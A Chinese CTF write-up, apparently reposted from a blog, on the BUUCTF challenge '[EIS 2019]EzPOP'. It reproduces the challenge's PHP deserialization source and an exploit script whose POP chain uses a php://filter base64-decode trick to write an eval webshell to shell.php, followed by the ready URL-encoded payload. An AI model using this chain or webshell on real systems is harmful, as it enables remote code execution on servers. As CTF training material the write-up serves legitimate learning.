当前位置: 首页 > article >正文

132,【1】 buuctf web [EIS 2019]EzPOP

先不进入靶场了,先看给出的代码

<?php
// 关闭所有错误报告,避免在页面上显示错误信息
error_reporting(0);

/**
 * 类 A:用于处理缓存内容的管理和存储
 */
class A {

    // 存储缓存数据的对象
    protected $store;
    // 缓存的键名
    protected $key;
    // 缓存的过期时间
    protected $expire;

    /**
     * 构造函数,初始化类的属性
     *
     * @param object $store 存储缓存数据的对象
     * @param string $key 缓存的键名,默认为 'flysystem'
     * @param mixed $expire 缓存的过期时间,默认为 null
     */
    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    /**
     * 清理缓存内容,只保留指定的属性
     *
     * @param array $contents 缓存内容数组
     * @return array 清理后的缓存内容数组
     */
    public function cleanContents(array $contents) {
        // 定义需要保留的属性数组,并将其键值反转,方便后续使用
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
          'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        // 遍历缓存内容数组
        foreach ($contents as $path => $object) {
            // 如果当前元素是数组
            if (is_array($object)) {
                // 只保留指定属性的键值对
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    /**
     * 获取用于存储的缓存内容
     *
     * @return string 经过清理和 JSON 编码后的缓存内容
     */
    public function getForStorage() {
        // 清理缓存内容
        $cleaned = $this->cleanContents($this->cache);

        // 将清理后的内容和其他信息进行 JSON 编码
        return json_encode([$cleaned, $this->complete]);
    }

    /**
     * 保存缓存内容到存储对象
     */
    public function save() {
        // 获取用于存储的缓存内容
        $contents = $this->getForStorage();

        // 调用存储对象的 set 方法保存缓存内容
        $this->store->set($this->key, $contents, $this->expire);
    }

    /**
     * 析构函数,在对象销毁时自动调用
     */
    public function __destruct() {
        // 如果 autosave 属性为 false
        if (!$this->autosave) {
            // 保存缓存内容
            $this->save();
        }
    }
}

/**
 * 类 B:用于处理缓存的设置和文件存储
 */
class B {

    /**
     * 获取过期时间,将其转换为整数
     *
     * @param mixed $expire 过期时间
     * @return int 转换后的过期时间
     */
    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    /**
     * 获取缓存的键名,添加前缀
     *
     * @param string $name 原始键名
     * @return string 添加前缀后的键名
     */
    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    /**
     * 序列化数据
     *
     * @param mixed $data 要序列化的数据
     * @return string 序列化后的数据
     */
    protected function serialize($data): string {
        // 如果数据是数字类型
        if (is_numeric($data)) {
            // 将其转换为字符串
            return (string) $data;
        }

        // 获取序列化方法
        $serialize = $this->options['serialize'];

        // 调用序列化方法进行序列化
        return $serialize($data);
    }

    /**
     * 设置缓存
     *
     * @param string $name 缓存的键名
     * @param mixed $value 缓存的值
     * @param mixed $expire 缓存的过期时间,默认为 null
     * @return bool 设置是否成功
     */
    public function set($name, $value, $expire = null): bool{
        // 记录写入次数
        $this->writeTimes++;

        // 如果过期时间为 null
        if (is_null($expire)) {
            // 使用默认的过期时间
            $expire = $this->options['expire'];
        }

        // 获取过期时间
        $expire = $this->getExpireTime($expire);
        // 获取缓存的键名
        $filename = $this->getCacheKey($name);

        // 获取缓存文件所在的目录
        $dir = dirname($filename);

        // 如果目录不存在
        if (!is_dir($dir)) {
            try {
                // 创建目录,权限为 0755,允许递归创建
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 处理创建目录失败的情况
                // 创建失败
            }
        }

        // 序列化数据
        $data = $this->serialize($value);

        // 如果开启了数据压缩且 gzcompress 函数存在
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            // 对数据进行压缩
            $data = gzcompress($data, 3);
        }

        // 在数据前添加过期时间和退出语句
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        // 将数据写入文件
        $result = file_put_contents($filename, $data);

        // 如果写入成功
        if ($result) {
            return true;
        }

        return false;
    }

}

// 如果 GET 请求中包含 src 参数
if (isset($_GET['src']))
{
    // 高亮显示当前文件的源代码
    highlight_file(__FILE__);
}

// 定义上传目录
$dir = "uploads/";

// 如果上传目录不存在
if (!is_dir($dir))
{
    // 创建上传目录
    mkdir($dir);
}

// 对 GET 请求中的 data 参数进行反序列化操作
unserialize($_GET["data"]);

 微长

要不进靶场看看

那要不还是继续看代码吧

看完懵懵的,

不过啊,不过啊,下面几个代码块首先引起了我的关注,截下来更方便看

 

 

 还是很懵,先看看大佬脚本

<?php
class A{
protected $store;
protected $key;
protected $expire;

public function __construct()
{
    $this->cache = array();
    $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["123"]);?>'));
    $this->key = "shell.php";
    $this->store = new B();
    $this->autosave = false;
    $this->expire = 0;
}


}
class B{
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
echo urlencode(serialize(new A()));

 

O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lJeE1qTWlYU2s3UHo0PQ%3D%3D%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D

 

 


http://www.kler.cn/a/547045.html

相关文章:

  • Scrapy:任务队列底层设计详解
  • Unity 接入Tripo API 文生模型,模型制作动画并下载使用
  • 提供可传递的易受攻击的依赖项
  • 最新国内 ChatGPT Plus/Pro 获取教程
  • 【STM32】舵机SG90
  • 使用Java爬虫获取京东JD.item_sku API接口数据
  • 【Jenkins流水线搭建】
  • LLaMA-Factory 安装linux部署使用conda笔记
  • 安科瑞 EMS3.0:赋能企业能效管理,开启智慧能源新时代
  • TIP2022 | DRA | 从分布的角度理解和提升对抗性迁移性
  • 词袋模型和词嵌入模型区别和关联分析(词袋模型是否属于词嵌入模型)
  • 强化学习-DDPG
  • 希尔排序(C#)
  • MySQL 支持的事务隔离级别
  • 对比 LVS 负载均衡群集的 NAT 模式和 DR 模式,其各自的优势
  • Jetpack Compose初体验
  • 解决Did not find dashscope_api_key问题——jupyter设置环境变量
  • C++学习 mac上VScode运行C++
  • mars3d接入到uniapp的时候ios上所有地图的瓦片都无法加载解决方案
  • 通过服务器的 BMC(基板管理控制器)安装操作系统